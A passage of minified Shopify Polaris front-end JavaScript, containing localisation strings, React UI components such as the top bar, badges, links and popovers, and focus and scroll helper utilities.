menu","SearchField":{"clearButtonLabel":"Clear","search":"Search"}},"MediaCard":{"popoverButton":"Actions"},"VideoThumbnail":{"playButtonA11yLabel":{"default":"Play video","defaultWithDuration":"Play video of length {duration}","duration":{"hours":{"other":{"only":"{hourCount} hours","andMinutes":"{hourCount} hours and {minuteCount} minutes","andMinute":"{hourCount} hours and {minuteCount} minute","minutesAndSeconds":"{hourCount} hours, {minuteCount} minutes, and {secondCount} seconds","minutesAndSecond":"{hourCount} hours, {minuteCount} minutes, and {secondCount} second","minuteAndSeconds":"{hourCount} hours, {minuteCount} minute, and {secondCount} seconds","minuteAndSecond":"{hourCount} hours, {minuteCount} minute, and {secondCount} second","andSeconds":"{hourCount} hours and {secondCount} seconds","andSecond":"{hourCount} hours and {secondCount} second"},"one":{"only":"{hourCount} hour","andMinutes":"{hourCount} hour and {minuteCount} minutes","andMinute":"{hourCount} hour and {minuteCount} minute","minutesAndSeconds":"{hourCount} hour, {minuteCount} minutes, and {secondCount} seconds","minutesAndSecond":"{hourCount} hour, {minuteCount} minutes, and {secondCount} second","minuteAndSeconds":"{hourCount} hour, {minuteCount} minute, and {secondCount} seconds","minuteAndSecond":"{hourCount} hour, {minuteCount} minute, and {secondCount} second","andSeconds":"{hourCount} hour and {secondCount} seconds","andSecond":"{hourCount} hour and {secondCount} second"}},"minutes":{"other":{"only":"{minuteCount} minutes","andSeconds":"{minuteCount} minutes and {secondCount} seconds","andSecond":"{minuteCount} minutes and {secondCount} second"},"one":{"only":"{minuteCount} minute","andSeconds":"{minuteCount} minute and {secondCount} seconds","andSecond":"{minuteCount} minute and {secondCount} second"}},"seconds":{"other":"{secondCount} seconds","one":"{secondCount} second"}}}}}}'),d=n(5671),f=n(3144);function p(e,t){return p=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},p(e,t)}function h(e,t){if("function"!==typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&p(e,t)}function m(e){return m=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},m(e)}function v(){if("undefined"===typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"===typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}function g(e){return g="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},g(e)}function b(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function y(e,t){if(t&&("object"===g(t)||"function"===typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return b(e)}function w(e){var t=v();return function(){var n,r=m(e);if(t){var a=m(this).constructor;n=Reflect.construct(r,arguments,a)}else n=r.apply(this,arguments);return y(this,n)}}n(8210);var x=n(8573),E=n.n(x),S=100,k="20px",_={"data-polaris-scrollable":!0},C="[data-polaris-scrollable]",P={props:{"data-polaris-overlay":!0},selector:"[data-polaris-overlay]"},N={props:{"data-polaris-layer":!0},selector:"[data-polaris-layer]"},T={"data-polaris-unstyled":!0},A={"data-polaris-top-bar":!0},M="[data-polaris-top-bar]",L={"data-polaris-header-cell":!0},O="[data-polaris-header-cell]",F="[data-portal-id]",I="768px",j="1043px",R={media:"",addListener:B,removeListener:B,matches:!1,onchange:B,addEventListener:B,removeEventListener:B,dispatchEvent:function(e){return!0}};function B(){}function D(){return"undefined"===typeof window?R:window.matchMedia("(max-width: ".concat(I,")"))}var H=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.top,r=void 0===n?0:n,a=t.left,o=void 0===a?0:a,i=t.width,l=void 0===i?0:i,s=t.height,u=void 0===s?0:s;(0,d.Z)(this,e),this.top=void 0,this.left=void 0,this.width=void 0,this.height=void 0,this.top=r,this.left=o,this.width=l,this.height=u}return(0,f.Z)(e,[{key:"center",get:function(){return{x:this.left+this.width/2,y:this.top+this.height/2}}}],[{key:"zero",get:function(){return new e}}]),e}();function z(e){if(!(e instanceof Element))return new H({width:window.innerWidth,height:window.innerHeight});var t=e.getBoundingClientRect();return new H({top:t.top,left:t.left,width:t.width,height:t.height})}var U=1e3/60,W=function(){function e(t){var n=this;(0,d.Z)(this,e),this.stickyItems=[],this.stuckItems=[],this.container=null,this.topBarOffset=0,this.handleResize=E()((function(){n.manageStickyItems()}),U,{leading:!0,trailing:!0,maxWait:U}),this.handleScroll=E()((function(){n.manageStickyItems()}),U,{leading:!0,trailing:!0,maxWait:U}),t&&this.setContainer(t)}return(0,f.Z)(e,[{key:"registerStickyItem",value:function(e){this.stickyItems.push(e)}},{key:"unregisterStickyItem",value:function(e){var t=this.stickyItems.findIndex((function(t){var n=t.stickyNode;return e===n}));this.stickyItems.splice(t,1)}},{key:"setContainer",value:function(e){this.container=e,V(e)&&this.setTopBarOffset(e),this.container.addEventListener("scroll",this.handleScroll),window.addEventListener("resize",this.handleResize),this.manageStickyItems()}},{key:"removeScrollListener",value:function(){this.container&&(this.container.removeEventListener("scroll",this.handleScroll),window.removeEventListener("resize",this.handleResize))}},{key:"manageStickyItems",value:function(){var e=this;if(!(this.stickyItems.length<=0)){var t,n=this.container?V(t=this.container)?document.body.scrollTop||document.documentElement.scrollTop:t.scrollTop:0,r=z(this.container).top+this.topBarOffset;this.stickyItems.forEach((function(t){var a=t.handlePositioning,o=e.evaluateStickyItem(t,n,r),i=o.sticky,l=o.top,s=o.left,u=o.width;e.updateStuckItems(t,i),a(i,l,s,u)}))}}},{key:"evaluateStickyItem",value:function(e,t,n){var r=e.stickyNode,a=e.placeHolderNode,o=e.boundingElement,i=e.offset;if(e.disableWhenStacked&&("undefined"===typeof window?R:window.matchMedia("(max-width: ".concat(j,")"))).matches)return{sticky:!1,top:0,left:0,width:"auto"};var l,s=i?this.getOffset(r)+parseInt(k,10):this.getOffset(r),u=t+s,c=a.getBoundingClientRect().top-n+t,d=n+s,f=a.getBoundingClientRect().width,p=a.getBoundingClientRect().left;if(null==o)l=u>=c;else{var h,m=r.getBoundingClientRect().height||(null===(h=r.firstElementChild)||void 0===h?void 0:h.getBoundingClientRect().height)||0,v=o.getBoundingClientRect().bottom-m+t-n;l=u>=c&&u=0}},{key:"setTopBarOffset",value:function(e){var t=e.querySelector(":not(".concat(C,") ").concat(M));this.topBarOffset=t?t.clientHeight:0}}]),e}();function V(e){return e===document}function q(e,t){var n=e.left,r=e.left+e.width,a=t.left;return t.left+t.width0&&!this.locked&&($=window.pageYOffset,t.setAttribute(K,""),n&&(n.setAttribute(G,""),n.scrollTop=$),this.locked=!0)}}},{key:"resetScrollPosition",value:function(){$=0}}]),e}(),Q=function(){function e(t){(0,d.Z)(this,e),this.idGeneratorFactory=void 0,this.idGenerators={},this.idGeneratorFactory=t}return(0,f.Z)(e,[{key:"nextId",value:function(e){return this.idGenerators[e]||(this.idGenerators[e]=this.idGeneratorFactory(e)),this.idGenerators[e]()}}]),e}();function X(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=1;return function(){return"Polaris".concat(e).concat(t++)}}var J=n(907);var ee=n(181);function te(e){return function(e){if(Array.isArray(e))return(0,J.Z)(e)}(e)||function(e){if("undefined"!==typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||(0,ee.Z)(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ne(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!==typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=n){var r,a,o=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(o.push(r.value),!t||o.length!==t);i=!0);}catch(s){l=!0,a=s}finally{try{i||null==n.return||n.return()}finally{if(l)throw a}}return o}}(e,t)||(0,ee.Z)(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}var re=/\[(.*?)\]|(\w+)/g;function ae(e,t,n){if(null!=e){for(var r=Array.isArray(t)?t:function(e){var t,n=[];for(;t=re.exec(e);){var r=ne(t,3),a=r[1],o=r[2];n.push(a||o)}return n}(t),a=e,o=0;o1&&void 0!==arguments[1]?arguments[1]:De(),n=(0,r.useRef)(e);return t(n.current,e)||(n.current=e),n.current}function ze(e,t,n){(0,r.useEffect)(e,He(t,n))}function Ue(e,t,n){return Ue=v()?Reflect.construct:function(e,t,n){var r=[null];r.push.apply(r,t);var a=new(Function.bind.apply(e,r));return n&&p(a,n.prototype),a},Ue.apply(null,arguments)}function We(e){var t="function"===typeof Map?new Map:void 0;return We=function(e){if(null===e||(n=e,-1===Function.toString.call(n).indexOf("[native code]")))return e;var n;if("function"!==typeof e)throw new TypeError("Super expression must either be null or a function");if("undefined"!==typeof t){if(t.has(e))return t.get(e);t.set(e,r)}function r(){return Ue(e,arguments,m(this).constructor)}return r.prototype=Object.create(e.prototype,{constructor:{value:r,enumerable:!1,writable:!0,configurable:!0}}),p(r,e)},We(e)}var Ve=function(e){h(n,e);var t=w(n);function n(){var e,r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return(0,d.Z)(this,n),(e=t.call(this,"".concat(r?"".concat(r," "):r,"Your application must be wrapped in an component. See https://polaris.shopify.com/components/structure/app-provider for implementation instructions."))).name="MissingAppProviderError",e}return(0,f.Z)(n)}(We(Error));function qe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=(0,r.useContext)(he),a=(0,r.useRef)(null);if(!n)throw new Ve("No UniqueIdFactory was provided.");return t||(a.current||(a.current=n.nextId(e)),a.current)}var Ze=(0,r.createContext)(void 0);function Ke(){var e=(0,r.useContext)(Ze);if(!e)throw new Error("No Frame context was provided. Your component must be wrapped in a component. See https://polaris.shopify.com/components/structure/frame for implementation instructions.");return e}var Ge,$e=(0,r.memo)((function(e){var t=qe("Toast"),n=Ke(),r=n.showToast,a=n.hideToast;return ze((function(){return r(l({id:t},e)),function(){a({id:t})}}),[e]),null})),Ye=(0,r.memo)((function(e){var t=e.message,n=e.saveAction,a=e.discardAction,o=e.alignContentFlush,i=e.fullWidth,l=e.contextControl,s=Ke(),u=s.setContextualSaveBar,c=s.removeContextualSaveBar;return(0,r.useEffect)((function(){u({message:t,saveAction:n,discardAction:a,alignContentFlush:o,fullWidth:i,contextControl:l})}),[t,n,a,o,u,i,l]),(0,r.useEffect)((function(){return c}),[c]),null})),Qe=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Ge||(Ge=r.createElement("path",{d:"M19 11H1a1 1 0 0 1 0-2h18a1 1 0 1 1 0 2zm0-7H1a1 1 0 0 1 0-2h18a1 1 0 1 1 0 2zm0 14H1a1 1 0 0 1 0-2h18a1 1 0 0 1 0 2z"})))};function Xe(){for(var e=arguments.length,t=new Array(e),n=0;n0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"width",r="number"===typeof e?e:tt(e,n);return"".concat(r||t,"px")}function rt(e){var t=ne((0,r.useState)(e),2),n=t[0],a=t[1];return{value:n,toggle:(0,r.useCallback)((function(){return a((function(e){return!e}))}),[]),setTrue:(0,r.useCallback)((function(){return a(!0)}),[]),setFalse:(0,r.useCallback)((function(){return a(!1)}),[])}}var at,ot="Polaris-TopBar",it="Polaris-TopBar__LogoDisplayControl",lt="Polaris-TopBar__LogoDisplayContainer",st="Polaris-TopBar__LogoContainer",ut="Polaris-TopBar__Logo",ct="Polaris-TopBar__LogoLink",dt="Polaris-TopBar__ContextControl",ft="Polaris-TopBar__NavigationIcon",pt="Polaris-TopBar--focused",ht="Polaris-TopBar__Contents",mt="Polaris-TopBar__SearchField",vt="Polaris-TopBar__SecondaryMenu",gt="Polaris-TopBar-Search",bt="Polaris-TopBar-Search__SearchContent",yt="Polaris-TopBar-Search--visible",wt="Polaris-TopBar-Search__Results",xt="Polaris-TopBar-SearchDismissOverlay",Et="Polaris-TopBar-SearchDismissOverlay--visible";function St(e){var t=function(){var e=(0,r.useContext)(fe);if(!e)throw new Ve("No ScrollLockManager was provided.");return e}();return(0,r.useEffect)((function(){return t.registerScrollLock(),function(){t.unregisterScrollLock()}}),[t]),null}function kt(e){var t=e.onDismiss,n=e.visible,a=(0,r.useRef)(null),o=(0,r.useCallback)((function(e){e.target===a.current&&null!=t&&t()}),[t]);return r.createElement(r.Fragment,null,n?r.createElement(St,null):null,r.createElement("div",{ref:a,className:Xe(xt,n&&Et),onClick:o}))}function _t(e){var t=e.visible,n=e.children,a=e.onDismiss,o=e.overlayVisible,i=void 0!==o&&o;if(null==n)return null;var l=t?r.createElement(kt,{onDismiss:a,visible:i}):null;return r.createElement(r.Fragment,null,l,r.createElement("div",{className:Xe(gt,t&&yt)},r.createElement(_e,{theme:{colorScheme:"dark"}},r.createElement("div",{className:bt},r.createElement("div",{className:wt},n)))))}var Ct,Pt=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),at||(at=r.createElement("path",{fillRule:"evenodd",d:"M10 2a8 8 0 1 0 0 16 8 8 0 0 0 0-16zM7.707 6.293a1 1 0 0 0-1.414 1.414L8.586 10l-2.293 2.293a1 1 0 1 0 1.414 1.414L10 11.414l2.293 2.293a1 1 0 1 0 1.414-1.414L11.414 10l2.293-2.293a1 1 0 0 0-1.414-1.414L10 8.586 7.707 6.293z"})))},Nt=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Ct||(Ct=r.createElement("path",{d:"M8 12a4 4 0 1 1 0-8 4 4 0 0 1 0 8zm9.707 4.293-4.82-4.82A5.968 5.968 0 0 0 14 8 6 6 0 0 0 2 8a6 6 0 0 0 6 6 5.968 5.968 0 0 0 3.473-1.113l4.82 4.82a.997.997 0 0 0 1.414 0 .999.999 0 0 0 0-1.414z"})))},Tt="Polaris-TopBar-SearchField",At="Polaris-TopBar-SearchField--focused",Mt="Polaris-TopBar-SearchField__Input",Lt="Polaris-TopBar-SearchField__Backdrop",Ot="Polaris-TopBar-SearchField__BackdropShowFocusBorder",Ft="Polaris-TopBar-SearchField__Icon",It="Polaris-TopBar-SearchField__Clear";function jt(){var e=(0,r.useContext)(de);if(!e)throw new Ve("No i18n was provided.");return e}var Rt={Icon:"Polaris-Icon",applyColor:"Polaris-Icon--applyColor",hasBackdrop:"Polaris-Icon--hasBackdrop",colorBase:"Polaris-Icon--colorBase",colorSubdued:"Polaris-Icon--colorSubdued",colorCritical:"Polaris-Icon--colorCritical",colorInteractive:"Polaris-Icon--colorInteractive",colorWarning:"Polaris-Icon--colorWarning",colorHighlight:"Polaris-Icon--colorHighlight",colorSuccess:"Polaris-Icon--colorSuccess",colorPrimary:"Polaris-Icon--colorPrimary",Svg:"Polaris-Icon__Svg",Img:"Polaris-Icon__Img",Placeholder:"Polaris-Icon__Placeholder"},Bt="Polaris-VisuallyHidden";function Dt(e){var t=e.children;return r.createElement("span",{className:Bt},t)}var Ht=["base","critical","highlight","success","warning"];function zt(e){var t,n=e.source,a=e.color,o=e.backdrop,i=e.accessibilityLabel;t="function"===typeof n?"function":"placeholder"===n?"placeholder":"external",o&&a&&Ht.includes(a);var l=Xe(Rt.Icon,a&&Rt[Je("color",a)],a&&Rt.applyColor,o&&Rt.hasBackdrop),s=n,u={function:r.createElement(s,{className:Rt.Svg,focusable:"false","aria-hidden":"true"}),placeholder:r.createElement("div",{className:Rt.Placeholder}),external:r.createElement("img",{className:Rt.Img,src:"data:image/svg+xml;utf8,".concat(n),alt:"","aria-hidden":"true"})};return r.createElement("span",{className:l},r.createElement(Dt,null,i),u[t])}function Ut(e){"Enter"===e.key&&e.preventDefault()}var Wt="Polaris-TopBar-UserMenu__Details",Vt="Polaris-TopBar-UserMenu__Name",qt="Polaris-TopBar-UserMenu__Detail",Zt="Polaris-MessageIndicator__MessageIndicatorWrapper",Kt="Polaris-MessageIndicator";function Gt(e){var t=e.children,n=e.active&&r.createElement("div",{className:Kt});return r.createElement("div",{className:Zt},n,t)}var $t,Yt="Polaris-TopBar-Menu__ActivatorWrapper",Qt="Polaris-TopBar-Menu__Activator",Xt="Polaris-Menu-Message__Section",Jt=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),$t||($t=r.createElement("path",{d:"M14 13v1a1 1 0 0 1-1 1H6c-.575 0-1-.484-1-1V7a1 1 0 0 1 1-1h1c1.037 0 1.04 1.5 0 1.5-.178.005-.353 0-.5 0v6h6V13c0-1 1.5-1 1.5 0zm-3.75-7.25A.75.75 0 0 1 11 5h4v4a.75.75 0 0 1-1.5 0V7.56l-3.22 3.22a.75.75 0 1 1-1.06-1.06l3.22-3.22H11a.75.75 0 0 1-.75-.75z"})))},en=(0,r.createContext)(!1),tn="Polaris-Link",nn="Polaris-Link__IconLockup",rn="Polaris-Link__IconLayout",an="Polaris-Link--monochrome",on="Polaris-Link--removeUnderline";var ln=["external","url"],sn=(0,r.memo)((0,r.forwardRef)((function(e,t){var n=(0,r.useContext)(me);if(n)return r.createElement(n,Object.assign({},T,e));var a=e.external,o=e.url,i=u(e,ln),l=a?"_blank":void 0,s=a?"noopener noreferrer":void 0;return r.createElement("a",Object.assign({target:l},i,{href:o,rel:s},T))})));function un(e){var t=e.url,n=e.children,a=e.onClick,o=e.external,i=e.id,l=e.monochrome,s=e.removeUnderline,u=e.accessibilityLabel,c=jt(),d=n;if(o&&"string"===typeof n){var f=c.translate("Polaris.Common.newWindowAccessibilityHint");d=r.createElement(r.Fragment,null,n,r.createElement("span",{className:nn},r.createElement("span",{className:rn},r.createElement(zt,{accessibilityLabel:f,source:Jt}))))}return r.createElement(en.Consumer,null,(function(e){var n=Xe(tn,(l||e)&&an,s&&on);return t?r.createElement(sn,{onClick:a,className:n,url:t,external:o,id:i,"aria-label":u},d):r.createElement("button",{type:"button",onClick:a,className:n,id:i,"aria-label":u},d)}))}var cn=(0,r.createContext)(!1),dn={Badge:"Polaris-Badge",sizeSmall:"Polaris-Badge--sizeSmall",statusSuccess:"Polaris-Badge--statusSuccess",statusInfo:"Polaris-Badge--statusInfo",statusAttention:"Polaris-Badge--statusAttention",statusWarning:"Polaris-Badge--statusWarning",statusCritical:"Polaris-Badge--statusCritical",statusNew:"Polaris-Badge--statusNew",Pip:"Polaris-Badge__Pip",progressIncomplete:"Polaris-Badge--progressIncomplete",progressPartiallyComplete:"Polaris-Badge--progressPartiallyComplete",progressComplete:"Polaris-Badge--progressComplete",withinFilter:"Polaris-Badge--withinFilter"},fn="incomplete",pn="partiallyComplete",hn="complete",mn="info",vn="success",gn="warning",bn="critical",yn="attention",wn="new",xn="medium";function En(e){var t=e.children,n=e.status,a=e.progress,o=e.size,i=void 0===o?xn:o,l=e.statusAndProgressLabelOverride,s=jt(),u=(0,r.useContext)(cn),c=Xe(dn.Badge,n&&dn[Je("status",n)],a&&dn[Je("progress",a)],i&&i!==xn&&dn[Je("size",i)],u&&dn.withinFilter),d="";switch(a){case fn:d=s.translate("Polaris.Badge.PROGRESS_LABELS.incomplete");break;case pn:d=s.translate("Polaris.Badge.PROGRESS_LABELS.partiallyComplete");break;case hn:d=s.translate("Polaris.Badge.PROGRESS_LABELS.complete")}var f="";switch(n){case mn:f=s.translate("Polaris.Badge.STATUS_LABELS.info");break;case vn:f=s.translate("Polaris.Badge.STATUS_LABELS.success");break;case gn:f=s.translate("Polaris.Badge.STATUS_LABELS.warning");break;case bn:f=s.translate("Polaris.Badge.STATUS_LABELS.critical");break;case yn:f=s.translate("Polaris.Badge.STATUS_LABELS.attention");break;case wn:f=s.translate("Polaris.Badge.STATUS_LABELS.new")}var p=l||s.translate("Polaris.Badge.progressAndStatus",{progressLabel:d,statusLabel:f}),h=(d||f||l)&&r.createElement(Dt,null,p);return d&&(h=r.createElement("span",{className:dn.Pip},h)),r.createElement("span",{className:c},h,t)}var Sn=n(7762);function kn(e){var t=e.getBoundingClientRect(),n=t.top,r=t.left,a=t.bottom,o=t.right;return n>=0&&o<=window.innerWidth&&a<=window.innerHeight&&r>=0}var _n="a,frame,iframe,input:not([type=hidden]):not(:disabled),select:not(:disabled),textarea:not(:disabled),button:not(:disabled),*[tabindex]",Cn='a,frame,iframe,input:not([type=hidden]):not(:disabled),select:not(:disabled),textarea:not(:disabled),button:not(:disabled),*[tabindex]:not([tabindex="-1"])',Pn=function(e){return e.currentTarget.blur()};function Nn(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return!t&&jn(e,_n)?e:e.querySelector(_n)}function Tn(e){var t="a,button,frame,iframe,input:not([type=hidden]),select,textarea,*[tabindex]";return jn(e,t)?e:e.querySelector(t)}function An(e){var t,n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];null===(t=Nn(e,n))||void 0===t||t.focus()}function Mn(e,t){var n=function(e,t){var n,r=te(document.querySelectorAll(_n)),a=r.indexOf(e)+1,o=r.slice(a),i=(0,Sn.Z)(o);try{for(i.s();!(n=i.n()).done;){var l=n.value;if(kn(l)&&(!t||t&&t(l)))return l}}catch(s){i.e(s)}finally{i.f()}return null}(e,t);return!!(n&&n instanceof HTMLElement)&&(n.focus(),!0)}function Ln(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return!t&&jn(e,Cn)?e:e.querySelector(Cn)}function On(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(!t&&jn(e,Cn))return e;var n=e.querySelectorAll(Cn);return n[n.length-1]}function Fn(e){return e.querySelectorAll('a[role="menuitem"],frame[role="menuitem"],iframe[role="menuitem"],input[role="menuitem"]:not([type=hidden]):not(:disabled),select[role="menuitem"]:not(:disabled),textarea[role="menuitem"]:not(:disabled),button[role="menuitem"]:not(:disabled),*[tabindex]:not([tabindex="-1"])')}function In(e,t){var n,r=0,a=(0,Sn.Z)(e);try{for(a.s();!(n=a.n()).done;){if(n.value===t)break;r++}}catch(o){a.e(o)}finally{a.f()}return r===e.length?-1:r}function jn(e,t){if(e.matches)return e.matches(t);for(var n=(e.ownerDocument||document).querySelectorAll(t),r=n.length;--r>=0&&n.item(r)!==e;)return r>-1}function Rn(e){var t=e.children,n=e.idPrefix,o=void 0===n?"":n,i=e.onPortalCreated,l=void 0===i?Bn:i,s=function(){var e=(0,r.useContext)(Me);if(!e)throw new Error("No portals manager was provided. Your application must be wrapped in an component. See https://polaris.shopify.com/components/structure/app-provider for implementation instructions.");return e}().container,u=qe("portal"),c=""!==o?"".concat(o,"-").concat(u):u;return(0,r.useEffect)((function(){l()}),[l]),s?(0,a.createPortal)(r.createElement("div",{"data-portal-id":c},t),s):null}function Bn(){}function Dn(e,t,n){return null==e?null:Un(e,t)?e:r.createElement(t,n,e)}var Hn,zn=function(e,t){return e===t};function Un(e,t){var n;if(null==e||!(0,r.isValidElement)(e)||"string"===typeof e.type)return!1;var a=e.type,o=(null===(n=e.props)||void 0===n?void 0:n.__type__)||a;return(Array.isArray(t)?t:[t]).some((function(e){return"string"!==typeof o&&zn(e,o)}))}function Wn(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:function(){return!0};return r.Children.toArray(e).filter((function(e){return(0,r.isValidElement)(e)&&t(e)}))}function Vn(e){var t=e.condition,n=e.wrapper,r=e.children;return t?n(r):r}function qn(e){var t=e.condition,n=e.children;return t?n:null}!function(e){e[e.Backspace=8]="Backspace",e[e.Tab=9]="Tab",e[e.Enter=13]="Enter",e[e.Shift=16]="Shift",e[e.Ctrl=17]="Ctrl",e[e.Alt=18]="Alt",e[e.Pause=19]="Pause",e[e.CapsLock=20]="CapsLock",e[e.Escape=27]="Escape",e[e.Space=32]="Space",e[e.PageUp=33]="PageUp",e[e.PageDown=34]="PageDown",e[e.End=35]="End",e[e.Home=36]="Home",e[e.LeftArrow=37]="LeftArrow",e[e.UpArrow=38]="UpArrow",e[e.RightArrow=39]="RightArrow",e[e.DownArrow=40]="DownArrow",e[e.Insert=45]="Insert",e[e.Delete=46]="Delete",e[e.Key0=48]="Key0",e[e.Key1=49]="Key1",e[e.Key2=50]="Key2",e[e.Key3=51]="Key3",e[e.Key4=52]="Key4",e[e.Key5=53]="Key5",e[e.Key6=54]="Key6",e[e.Key7=55]="Key7",e[e.Key8=56]="Key8",e[e.Key9=57]="Key9",e[e.KeyA=65]="KeyA",e[e.KeyB=66]="KeyB",e[e.KeyC=67]="KeyC",e[e.KeyD=68]="KeyD",e[e.KeyE=69]="KeyE",e[e.KeyF=70]="KeyF",e[e.KeyG=71]="KeyG",e[e.KeyH=72]="KeyH",e[e.KeyI=73]="KeyI",e[e.KeyJ=74]="KeyJ",e[e.KeyK=75]="KeyK",e[e.KeyL=76]="KeyL",e[e.KeyM=77]="KeyM",e[e.KeyN=78]="KeyN",e[e.KeyO=79]="KeyO",e[e.KeyP=80]="KeyP",e[e.KeyQ=81]="KeyQ",e[e.KeyR=82]="KeyR",e[e.KeyS=83]="KeyS",e[e.KeyT=84]="KeyT",e[e.KeyU=85]="KeyU",e[e.KeyV=86]="KeyV",e[e.KeyW=87]="KeyW",e[e.KeyX=88]="KeyX",e[e.KeyY=89]="KeyY",e[e.KeyZ=90]="KeyZ",e[e.LeftMeta=91]="LeftMeta",e[e.RightMeta=92]="RightMeta",e[e.Select=93]="Select",e[e.Numpad0=96]="Numpad0",e[e.Numpad1=97]="Numpad1",e[e.Numpad2=98]="Numpad2",e[e.Numpad3=99]="Numpad3",e[e.Numpad4=100]="Numpad4",e[e.Numpad5=101]="Numpad5",e[e.Numpad6=102]="Numpad6",e[e.Numpad7=103]="Numpad7",e[e.Numpad8=104]="Numpad8",e[e.Numpad9=105]="Numpad9",e[e.Multiply=106]="Multiply",e[e.Add=107]="Add",e[e.Subtract=109]="Subtract",e[e.Decimal=110]="Decimal",e[e.Divide=111]="Divide",e[e.F1=112]="F1",e[e.F2=113]="F2",e[e.F3=114]="F3",e[e.F4=115]="F4",e[e.F5=116]="F5",e[e.F6=117]="F6",e[e.F7=118]="F7",e[e.F8=119]="F8",e[e.F9=120]="F9",e[e.F10=121]="F10",e[e.F11=122]="F11",e[e.F12=123]="F12",e[e.NumLock=144]="NumLock",e[e.ScrollLock=145]="ScrollLock",e[e.Semicolon=186]="Semicolon",e[e.Equals=187]="Equals",e[e.Comma=188]="Comma",e[e.Dash=189]="Dash",e[e.Period=190]="Period",e[e.ForwardSlash=191]="ForwardSlash",e[e.GraveAccent=192]="GraveAccent",e[e.OpenBracket=219]="OpenBracket",e[e.BackSlash=220]="BackSlash",e[e.CloseBracket=221]="CloseBracket",e[e.SingleQuote=222]="SingleQuote"}(Hn||(Hn={}));var Zn="Polaris-Popover",Kn="Polaris-Popover__PopoverOverlay",Gn="Polaris-Popover__PopoverOverlay--entering",$n="Polaris-Popover__PopoverOverlay--open",Yn="Polaris-Popover__PopoverOverlay--exiting",Qn="Polaris-Popover--measuring",Xn="Polaris-Popover--fullWidth",Jn="Polaris-Popover__Content",er="Polaris-Popover--positionedAbove",tr="Polaris-Popover__Wrapper",nr="Polaris-Popover__Content--fullHeight",rr="Polaris-Popover__Content--fluidContent",ar="Polaris-Popover__Pane",or="Polaris-Popover__Pane--fixed",ir="Polaris-Popover__Section",lr="Polaris-Popover__FocusTracker",sr="Polaris-Popover__PopoverOverlay--hideOnPrint",ur=Z?r.useEffect:r.useLayoutEffect;function cr(e){var t=e.keyCode,n=e.handler,a=e.keyEvent,o=void 0===a?"keyup":a,i=(0,r.useRef)({handler:n,keyCode:t});ur((function(){i.current={handler:n,keyCode:t}}),[n,t]);var l=(0,r.useCallback)((function(e){var t=i.current,n=t.handler,r=t.keyCode;e.keyCode===r&&n(e)}),[]);return(0,r.useEffect)((function(){return document.addEventListener(o,l),function(){document.removeEventListener(o,l)}}),[o,l]),null}function dr(e,t){var n=e.center;return n.yt.top+t.height}function fr(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:pr(),n=Math.max(e.top,0),r=Math.max(e.left,0),a=Math.min(e.top+e.height,t.height),o=Math.min(e.left+e.width,t.width);return new H({top:n,left:r,height:a-n,width:o-r})}function pr(){return new H({top:window.scrollY,left:window.scrollX,height:window.innerHeight,width:document.body.clientWidth})}var hr="Polaris-PositionedOverlay",mr="Polaris-PositionedOverlay--fixed",vr="Polaris-PositionedOverlay--preventInteraction",gr=(0,r.createContext)(void 0),br="Polaris-Scrollable",yr="Polaris-Scrollable--horizontal",wr="Polaris-Scrollable--vertical",xr="Polaris-Scrollable--verticalHasScrolling",Er="Polaris-Scrollable--hasTopShadow",Sr="Polaris-Scrollable--hasBottomShadow";var kr=["children","className","horizontal","vertical","shadow","hint","focusable","onScrolledToBottom"],_r=100,Cr=["scroll","touchmove","wheel"],Pr=function(){try{return window.matchMedia("(prefers-reduced-motion: reduce)").matches}catch(e){return!1}}(),Nr=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var r=arguments.length,a=new Array(r),o=0;o=s)),c=Boolean(a&&i>0&&n>0),d=s>l;d&&s-i<=l+2&&o&&o(),e.setState({topShadow:c,bottomShadow:u,scrollPosition:i,canScroll:d})}},e.scrollHint=function(){var t=b(e).scrollArea;if(null!=t){var n=t.clientHeight,r=t.scrollHeight;if(!(Pr||e.state.scrollPosition>0||r<=n)){var 